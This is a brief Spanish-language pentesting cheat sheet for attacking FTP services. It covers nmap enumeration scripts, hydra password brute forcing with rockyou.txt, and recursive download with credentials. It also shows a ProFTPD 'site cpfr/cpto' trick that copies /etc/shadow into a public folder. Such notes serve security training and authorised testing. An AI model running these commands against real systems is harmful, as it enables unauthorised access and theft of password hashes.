FTP (21)

Enumeración

nmap -p 21 --script ftp-anon,ftp-brute,ftp-proftpd-backdoor <IP>
nc -nv <IP> 21

Fuerza Bruta

hydra -l user -P rockyou.txt ftp://<IP>
hydra -L users.txt -p pass ftp://<IP>

Descarga Recursiva

wget -r --no-passive-ftp ftp://user:pass@<IP>/

FTP Bounce / Site Copy

Copiar archivos internos a carpeta visible.

ftp <IP>
> site cpfr /etc/shadow
> site cpto /var/ftp/pub/shadow.txt